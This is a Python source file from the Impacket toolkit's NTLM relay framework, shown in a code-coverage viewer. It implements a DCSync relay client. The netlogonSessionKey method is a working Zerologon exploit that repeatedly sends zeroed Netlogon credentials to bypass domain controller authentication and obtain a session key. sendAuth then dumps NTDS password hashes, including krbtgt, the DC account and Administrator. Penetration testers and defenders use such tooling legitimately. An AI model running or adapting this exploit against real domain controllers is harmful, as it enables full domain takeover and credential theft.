Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# Author: 

8# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

9# Alberto Solino (@agsolino) 

10# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/) 

11# 

12 

13from struct import unpack, pack 

14from binascii import hexlify, unhexlify 

15import traceback 

16from Cryptodome.Cipher import ARC4 

17from impacket import LOG, ntlm 

18from impacket.smbconnection import SMBConnection 

19from impacket.examples.ntlmrelayx.clients import ProtocolClient 

20from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

21from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \ 

22 NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL 

23from impacket.spnego import SPNEGO_NegTokenResp 

24from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc 

25from impacket.dcerpc.v5.ndr import NDRCALL 

26from impacket.dcerpc.v5.dtypes import NULL 

27from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \ 

28 MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \ 

29 rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY 

30from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes 

31 

32PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient" 

33 

34class DCSYNCRelayClientException(Exception): 

35 pass 

36 

37class MYDCERPC_v5(DCERPC_v5): 

38 def __init__(self, transport): 

39 DCERPC_v5.__init__(self, transport) 

40 

41 def sendBindType1(self, iface_uuid, auth_data): 

42 bind = MSRPCBind() 

43 

44 item = CtxItem() 

45 item['AbstractSyntax'] = iface_uuid 

46 item['TransferSyntax'] = self.transfer_syntax 

47 item['ContextID'] = 0 

48 item['TransItems'] = 1 

49 bind.addCtxItem(item) 

50 

51 packet = MSRPCHeader() 

52 packet['type'] = rpcrt.MSRPC_BIND 

53 packet['pduData'] = bind.getData() 

54 packet['call_id'] = 0 

55 

56 sec_trailer = SEC_TRAILER() 

57 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT 

58 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 

59 sec_trailer['auth_ctx_id'] = 79231 

60 

61 pad = (4 - (len(packet.get_packet()) % 4)) % 4 

62 if pad != 0: 

63 packet['pduData'] += b'\xFF' * pad 

64 sec_trailer['auth_pad_len'] = pad 

65 

66 packet['sec_trailer'] = sec_trailer 

67 packet['auth_data'] = auth_data 

68 

69 self._transport.send(packet.get_packet()) 

70 

71 s = self._transport.recv() 

72 

73 if s != 0: 

74 resp = MSRPCHeader(s) 

75 else: 

76 return 0 #mmm why not None? 

77 

78 if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R: 

79 bindResp = MSRPCBindAck(resp.getData()) 

80 elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT: 

81 if resp['type'] == rpcrt.MSRPC_FAULT: 

82 resp = MSRPCRespHeader(resp.getData()) 

83 status_code = unpack('<L', resp['pduData'][:4])[0] 

84 else: 

85 resp = MSRPCBindNak(resp['pduData']) 

86 status_code = resp['RejectedReason'] 

87 if status_code in rpc_status_codes: 

88 raise DCERPCException(error_code = status_code) 

89 elif status_code in rpc_provider_reason: 

90 raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code]) 

91 else: 

92 raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code) 

93 else: 

94 raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type']) 

95 

96 self.set_max_tfrag(bindResp['max_rfrag']) 

97 

98 return bindResp 

99 

100 def sendBindType3(self, auth_data): 

101 sec_trailer = SEC_TRAILER() 

102 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT 

103 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 

104 sec_trailer['auth_ctx_id'] = 79231 

105 

106 auth3 = MSRPCHeader() 

107 auth3['type'] = rpcrt.MSRPC_AUTH3 

108 

109 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be 

110 # ignored on receipt. The pad field MUST be immediately followed by a 

111 # sec_trailer structure whose layout, location, and alignment are as 

112 # specified in section 2.2.2.11 

113 auth3['pduData'] = b' ' 

114 auth3['sec_trailer'] = sec_trailer 

115 auth3['auth_data'] = auth_data 

116 auth3['call_id'] = 0 

117 

118 self._transport.send(auth3.get_packet(), forceWriteAndx = 1) 

119 

120# Special class that allows skipping Samr connections (they are not strictly needed) 

121class PatchedRemoteOperations(RemoteOperations): 

122 

123 def getMachineNameAndDomain(self): 

124 return '', '' 

125 

126 def connectSamr(self, domain): 

127 return 

128 

129class DCSYNCRelayClient(ProtocolClient): 

130 """ 

131 DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it 

132 invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon. 

133 """ 

134 PLUGIN_NAME = "DCSYNC" 

135 

136 def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True): 

137 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

138 

139 self.endpoint = serverConfig.rpc_mode 

140 

141 self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI 

142 

143 LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint)) 

144 self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp') 

145 

146 LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding)) 

147 

148 def initConnection(self): 

149 rpctransport = transport.DCERPCTransportFactory(self.stringbinding) 

150 

151 if self.serverConfig.rpc_use_smb: 

152 LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port)) 

153 rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ 

154 self.serverConfig.smblmhash, self.serverConfig.smbnthash) 

155 rpctransport.set_dport(self.serverConfig.rpc_smb_port) 

156 

157 self.session = MYDCERPC_v5(rpctransport) 

158 self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 

159 self.session.connect() 

160 

161 return True 

162 

163 def sendNegotiate(self, auth_data): 

164 negoMessage = NTLMAuthNegotiate() 

165 negoMessage.fromString(auth_data) 

166 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: 

167 negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL 

168 self.negotiateMessage = negoMessage.getData() 

169 bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage) 

170 

171 self.challenge = NTLMAuthChallenge() 

172 self.challenge.fromString(bindResp['auth_data']) 

173 

174 return self.challenge 

175 

176 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

177 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

178 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

179 auth_data = respToken2['ResponseToken'] 

180 else: 

181 auth_data = authenticateMessageBlob 

182 

183 remoteOps = None 

184 try: 

185 signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) 

186 # Something failed 

187 if signingkey == 0: 

188 return 

189 self.session.set_session_key(signingkey) 

190 authenticateMessage = NTLMAuthChallengeResponse() 

191 authenticateMessage.fromString(auth_data) 

192 

193 # Recalc mic 

194 authenticateMessage['MIC'] = b'\x00' * 16 

195 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: 

196 authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL 

197 newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData()) 

198 authenticateMessage['MIC'] = newmic 

199 self.session.sendBindType3(authenticateMessage.getData()) 

200 

201 # Now perform DRS bind 

202 # This code comes from secretsdump directly 

203 request = drsuapi.DRSBind() 

204 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 

205 drs = drsuapi.DRS_EXTENSIONS_INT() 

206 drs['cb'] = len(drs) #- 4 

207 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ 

208 drsuapi.DRS_EXT_STRONG_ENCRYPTION 

209 drs['SiteObjGuid'] = drsuapi.NULLGUID 

210 drs['Pid'] = 0 

211 drs['dwReplEpoch'] = 0 

212 drs['dwFlagsExt'] = 0 

213 drs['ConfigObjGUID'] = drsuapi.NULLGUID 

214 # I'm uber potential (c) Ben 

215 drs['dwExtCaps'] = 0xffffffff 

216 request['pextClient']['cb'] = len(drs) 

217 request['pextClient']['rgb'] = list(drs.getData()) 

218 resp = self.session.request(request) 

219 

220 # Initialize remoteoperations 

221 if self.serverConfig.smbuser != '': 

222 smbConnection = SMBConnection(self.target.netloc, self.target.netloc) 

223 smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ 

224 self.serverConfig.smblmhash, self.serverConfig.smbnthash) 

225 remoteOps = RemoteOperations(smbConnection, False) 

226 else: 

227 remoteOps = PatchedRemoteOperations(None, False) 

228 

229 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. 

230 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() 

231 

232 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. 

233 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( 

234 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) 

235 drsExtensionsInt.fromString(ppextServer) 

236 

237 if drsExtensionsInt['dwReplEpoch'] != 0: 

238 # Different epoch, we have to call DRSBind again 

239 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 

240 'dwReplEpoch']) 

241 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] 

242 request['pextClient']['cb'] = len(drs) 

243 request['pextClient']['rgb'] = list(drs.getData()) 

244 resp = self.session.request(request) 

245 

246 remoteOps._RemoteOperations__hDrs = resp['phDrs'] 

247 

248 domainName = authenticateMessage['domain_name'].decode('utf-16le') 

249 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 

250 resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2) 

251 # LOG.debug('DRSDomainControllerInfo() answer') 

252 # resp.dump() 

253 

254 if resp['pmsgOut']['V2']['cItems'] > 0: 

255 remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 

256 else: 

257 LOG.error("Couldn't get DC info for domain %s" % domainName) 

258 raise Exception('Fatal, aborting') 

259 remoteOps._RemoteOperations__drsr = self.session 

260 

261 # Initialize NTDSHashes object 

262 if self.serverConfig.smbuser != '': 

263 # We can dump all :) 

264 nh = NTDSHashes(None, None, isRemote=True, history=False, 

265 noLMHash=False, remoteOps=remoteOps, 

266 useVSSMethod=False, justNTLM=False, 

267 pwdLastSet=False, resumeSession=None, 

268 outputFileName='hashes', justUser=None, 

269 printUserStatus=False) 

270 nh.dump() 

271 else: 

272 # Most important, krbtgt 

273 nh = NTDSHashes(None, None, isRemote=True, history=False, 

274 noLMHash=False, remoteOps=remoteOps, 

275 useVSSMethod=False, justNTLM=False, 

276 pwdLastSet=False, resumeSession=None, 

277 outputFileName='hashes', justUser=domainName + '/krbtgt', 

278 printUserStatus=False) 

279 nh.dump() 

280 # Also important, DC hash (to sync fully) 

281 av_pairs = authenticateMessage['ntlm'][44:] 

282 av_pairs = AV_PAIRS(av_pairs) 

283 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') 

284 nh = NTDSHashes(None, None, isRemote=True, history=False, 

285 noLMHash=False, remoteOps=remoteOps, 

286 useVSSMethod=False, justNTLM=False, 

287 pwdLastSet=False, resumeSession=None, 

288 outputFileName='hashes', justUser=domainName + '/' + serverName + '$', 

289 printUserStatus=False) 

290 nh.dump() 

291 # Finally, builtin\Administrator providing it was not renamed 

292 try: 

293 nh = NTDSHashes(None, None, isRemote=True, history=False, 

294 noLMHash=False, remoteOps=remoteOps, 

295 useVSSMethod=False, justNTLM=False, 

296 pwdLastSet=False, resumeSession=None, 

297 outputFileName='hashes', justUser=domainName + '/Administrator', 

298 printUserStatus=False) 

299 nh.dump() 

300 except Exception: 

301 LOG.error('Could not dump administrator (renamed?)') 

302 

303 return None, STATUS_SUCCESS 

304 except Exception as e: 

305 traceback.print_exc() 

306 finally: 

307 if remoteOps is not None: 

308 remoteOps.finish() 

309 

310 def netlogonSessionKey(self, challenge, authenticateMessageBlob): 

311 # Here we will use netlogon to get the signing session key 

312 LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) 

313 

314 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

315 authenticateMessage = NTLMAuthChallengeResponse() 

316 authenticateMessage.fromString(respToken2['ResponseToken']) 

317 domainName = authenticateMessage['domain_name'].decode('utf-16le') 

318 flags = authenticateMessage['flags'] 

319 try: 

320 av_pairs = authenticateMessage['ntlm'][44:] 

321 av_pairs = AV_PAIRS(av_pairs) 

322 

323 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') 

324 except: 

325 LOG.debug("Exception:", exc_info=True) 

326 # We're in NTLMv1, not supported 

327 return STATUS_ACCESS_DENIED 

328 

329 binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 

330 

331 dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() 

332 dce.connect() 

333 dce.bind(nrpc.MSRPC_UUID_NRPC) 

334 MAX_ATTEMPTS = 6000 

335 for attempt in range(0, MAX_ATTEMPTS): 

336 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8) 

337 

338 serverChallenge = resp['ServerChallenge'] 

339 

340 ppp = b'\x00'*8 

341 try: 

342 nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00', 

343 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', 

344 ppp, 0x212effef) 

345 except nrpc.DCERPCSessionError as ex: 

346 # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 

347 if ex.get_error_code() == 0xc0000022: 

348 continue 

349 else: 

350 LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) 

351 except BaseException as ex: 

352 LOG.error('Unexpected error: %s', str(ex)) 

353 LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) 

354 break 

355 else: 

356 LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!') 

357 return 

358 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10) 

359 

360 # Now let's try to verify the security blob against the PDC 

361 

362 lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0] 

363 request = nrpc.NetrLogonSamLogonWithFlags() 

364 request['LogonServer'] = '\x00' 

365 request['ComputerName'] = serverName + '\x00' 

366 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 

367 

368 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

369 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

370 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName 

371 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags 

372 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 

373 'user_name'].decode('utf-16le') 

374 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' 

375 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge 

376 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] 

377 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] 

378 

379 authenticator = nrpc.NETLOGON_AUTHENTICATOR() 

380 authenticator['Credential'] = b'\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) 

381 authenticator['Timestamp'] = 0 

382 

383 request['Authenticator'] = authenticator 

384 request['ReturnAuthenticator']['Credential'] = b'\x00'*8 

385 request['ReturnAuthenticator']['Timestamp'] = 0 

386 request['ExtraFlags'] = 0 

387 #request.dump() 

388 try: 

389 resp = dce.request(request) 

390 #resp.dump() 

391 except DCERPCException as e: 

392 LOG.debug('Exception:', exc_info=True) 

393 LOG.error(str(e)) 

394 return e.get_error_code() 

395 

396 LOG.info("%s\\%s successfully validated through NETLOGON" % ( 

397 domainName, authenticateMessage['user_name'].decode('utf-16le'))) 

398 

399 encryptedSessionKey = authenticateMessage['session_key'] 

400 if encryptedSessionKey != '': 

401 signingKey = generateEncryptedSessionKey( 

402 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) 

403 else: 

404 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 

405 

406 LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8')) 

407 if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: 

408 self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey) 

409 self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b"Server") 

410 self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey) 

411 self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b"Server") 

412 # Preparing the keys handle states 

413 cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey) 

414 self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt 

415 cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey) 

416 self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt 

417 else: 

418 # Same key for everything 

419 self.session._DCERPC_v5__clientSigningKey = signingKey 

420 self.session._DCERPC_v5__serverSigningKey = signingKey 

421 self.session._DCERPC_v5__clientSealingKey = signingKey 

422 self.session._DCERPC_v5__serverSealingKey = signingKey 

423 cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey) 

424 self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt 

425 self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt 

426 self.session._DCERPC_v5__sequence = 0 

427 self.session._DCERPC_v5__flags = flags 

428 return signingKey 

429 

430 def killConnection(self): 

431 if self.session is not None: 

432 self.session.get_rpc_transport().disconnect() 

433 self.session = None 

434 

435 def keepAlive(self): 

436 return